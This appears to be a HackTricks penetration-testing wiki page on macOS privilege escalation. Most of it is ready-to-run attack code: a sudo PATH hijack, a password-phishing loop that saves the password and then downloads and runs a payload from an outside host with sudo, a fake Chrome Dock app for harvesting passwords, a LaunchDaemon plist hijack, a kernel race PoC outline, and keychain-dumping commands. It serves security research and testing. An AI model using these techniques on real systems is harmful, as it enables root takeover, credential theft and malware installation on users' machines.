> ## Documentation Index
> Fetch the complete documentation index at: https://mintlify.com/HackTricks-wiki/hacktricks/llms.txt
> Use this file to discover all available pages before exploring further.

# macOS Privilege Escalation

> macOS-specific privilege escalation techniques including sudo hijacking, dock impersonation, LaunchDaemon abuse, and recent CVEs

## Overview

macOS privilege escalation combines traditional Unix techniques with Apple-specific attack vectors. This page covers user-interaction-based escalation, social engineering, and recent macOS-specific vulnerabilities.

<Warning>
  This content is for authorized penetration testing and security research only.
</Warning>

## TCC Privilege Escalation

TCC (Transparency, Consent, and Control) controls application access to sensitive resources. TCC privilege escalation is covered separately — this page focuses on traditional root escalation.

## User Interaction Techniques

### Sudo PATH Hijacking

macOS **preserves the user's `PATH`** when executing `sudo`, unlike many Linux distributions. This allows hijacking binaries in Homebrew paths:

```bash theme={null}
# Hijack 'ls' in /opt/homebrew/bin (usually already in PATH)
cat > /opt/homebrew/bin/ls <<'EOF'
#!/bin/bash
if [ "$(id -u)" -eq 0 ]; then
    whoami > /tmp/privesc
fi
/bin/ls "$@"
EOF
chmod +x /opt/homebrew/bin/ls

# When victim runs:
sudo ls
# Your script executes as root
```

<Note>
  Users with Homebrew installed (most developers) are particularly vulnerable since `/opt/homebrew/bin` is typically at the front of their PATH.
</Note>

### Password Prompt Phishing + sudo Reuse

Malware frequently captures a sudo-capable password and reuses it programmatically:

```bash theme={null}
user=$(whoami)
while true; do
  read -s -p "Password: " pw; echo
  dscl . -authonly "$user" "$pw" && break
done
printf '%s\n' "$pw" > /tmp/.pass

# Download and run payload, bypassing Gatekeeper quarantine
curl -o /tmp/update https://example.com/update
printf '%s\n' "$pw" | sudo -S xattr -c /tmp/update && chmod +x /tmp/update && /tmp/update
```

### Dock Impersonation

<AccordionGroup>
  <Accordion title="Chrome Dock Impersonation">
    Replace the legitimate Chrome entry in the Dock with a fake app that steals the user's password:

    ```bash theme={null}
    #!/bin/sh
    # Create fake Chrome app structure
    mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
    mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

    # Payload: display fake update dialog to capture password
    # (see full script in source for C code that uses osascript)

    # Copy real Chrome icon for legitimacy
    cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns \
       /tmp/Google\ Chrome.app/Contents/Resources/app.icns

    # Add to Dock
    defaults write com.apple.dock persistent-apps -array-add \
      '<dict><key>tile-data</key><dict><key>file-data</key><dict>
       <key>_CFURLString</key><string>/tmp/Google Chrome.app</string>
       <key>_CFURLStringType</key><integer>0</integer>
       </dict></dict></dict>'
    sleep 0.1
    killall Dock
    ```
  </Accordion>

  <Accordion title="Finder Impersonation">
    Finder cannot be removed from the Dock — place a fake Finder adjacent to the real one:

    ```bash theme={null}
    # Place fake Finder entry at the beginning of the Dock array
    # When clicked: asks for password "to update components"
    # Captured password written to /tmp/passwd.txt
    ```

    Alternatively, make fake Finder request to copy to `/etc/pam.d` (triggers a legitimate-looking password prompt).
  </Accordion>
</AccordionGroup>

## Newer macOS-Specific Vectors (2023–2025)

<AccordionGroup>
  <Accordion title="AuthorizationExecuteWithPrivileges (Still Works on Sonoma/Sequoia)">
    This API was deprecated in 10.7 but still functions on current macOS. Many commercial updaters call `/usr/libexec/security_authtrampoline` with attacker-controllable paths:

    ```bash theme={null}
    # Monitor for vulnerable helper calls
    log stream --info --predicate 'eventMessage CONTAINS "security_authtrampoline"'

    # Replace expected helper binary
    cp /tmp/payload "/Users/me/Library/Application Support/Target/helper"
    chmod +x "/Users/me/Library/Application Support/Target/helper"
    # When the app updates, the root authorization prompt executes your payload
    ```
  </Accordion>

  <Accordion title="LaunchDaemon Plist Hijack (CVE-2025-24085 Pattern)">
    If a LaunchDaemon plist or its `ProgramArguments` target is user-writable:

    ```bash theme={null}
    sudo launchctl bootout system /Library/LaunchDaemons/com.apple.securemonitor.plist
    cp /tmp/root.sh /Library/PrivilegedHelperTools/securemonitor
    chmod 755 /Library/PrivilegedHelperTools/securemonitor

    cat > /Library/LaunchDaemons/com.apple.securemonitor.plist <<'PLIST'
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
      "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0"><dict>
      <key>Label</key><string>com.apple.securemonitor</string>
      <key>ProgramArguments</key>
      <array><string>/Library/PrivilegedHelperTools/securemonitor</string></array>
      <key>RunAtLoad</key><true/>
    </dict></plist>
    PLIST

    sudo launchctl bootstrap system /Library/LaunchDaemons/com.apple.securemonitor.plist
    ```
  </Accordion>

  <Accordion title="XNU SMR Credential Race (CVE-2025-24118)">
    A race in `kauth_cred_proc_update` allows corrupting the read-only credential pointer (`proc_ro.p_ucred`) by racing `setgid()`/`getgid()` loops across threads until a torn `memcpy` occurs. Successful corruption yields uid 0.

    ```c theme={null}
    // Minimal PoC structure (requires heap grooming for reliability)
    // thread A
    while (1) setgid(rand());
    // thread B
    while (1) getgid();
    ```

    This is a reliable **local kernel privesc** on vulnerable builds without SIP bypass requirements.
  </Accordion>

  <Accordion title="Migraine SIP Bypass (CVE-2023-32369)">
    Abuses the Migration Assistant entitlement `com.apple.rootless.install.heritable` to spawn a child process that inherits SIP bypass capability:

    1. Obtain root on a live system
    2. Trigger `systemmigrationd` with crafted state to run an attacker-controlled binary
    3. Use inherited entitlement to write to SIP-protected paths (e.g., `/System/Library/LaunchDaemons`)
    4. Persistence survives reboot
  </Accordion>

  <Accordion title="NSPredicate/XPC Expression Smuggling (CVE-2023-23530/23531)">
    Multiple Apple daemons accept NSPredicate objects over XPC and only validate `expressionType`, which is attacker-controlled. Crafting a predicate that evaluates arbitrary selectors achieves code execution in root/system XPC services (e.g., `coreduetd`, `contextstored`).

    When combined with an initial sandbox escape, this grants privilege escalation **without user prompts**.
  </Accordion>
</AccordionGroup>

## TCC Root Privilege Escalation

### CVE-2020-9771 — mount\_apfs TCC Bypass

Any user (even unprivileged) can mount a Time Machine snapshot with `noowners` and access **all files**:

```bash theme={null}
# Create a Time Machine snapshot
tmutil localsnapshot

# List available snapshots
tmutil listlocalsnapshots /

# Mount snapshot as current user (noowners bypasses ownership)
mkdir /tmp/snap
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local \
  /System/Volumes/Data /tmp/snap

# Now accessible
ls /tmp/snap/Users/admin_user
```

<Note>
  The only privilege required is that the Terminal app (or whatever tool is used) must have Full Disk Access (FDA) — `kTCCServiceSystemPolicyAllfiles`.
</Note>

## Sensitive Files for Privilege Escalation

Key locations worth examining on macOS:

```bash theme={null}
# Keychain files
~/Library/Keychains/
/Library/Keychains/

# SSH keys and config
~/.ssh/

# Shell history (zsh is default on modern macOS)
~/.zsh_history
~/.bash_history

# Application support credentials
~/Library/Application Support/

# macOS credential store
security find-generic-password -l "service_name" -w
security dump-keychain ~/Library/Keychains/login.keychain-db 2>/dev/null
```

## References

* [Microsoft Migraine SIP Bypass (CVE-2023-32369)](https://www.microsoft.com/en-us/security/blog/2023/05/30/new-macos-vulnerability-migraine-could-bypass-system-integrity-protection/)
* [CVE-2025-24118 SMR Credential Race PoC](https://github.com/jprx/CVE-2025-24118)
* [CVE-2020-9771 Original Report](https://theevilbit.github.io/posts/cve_2020_9771/)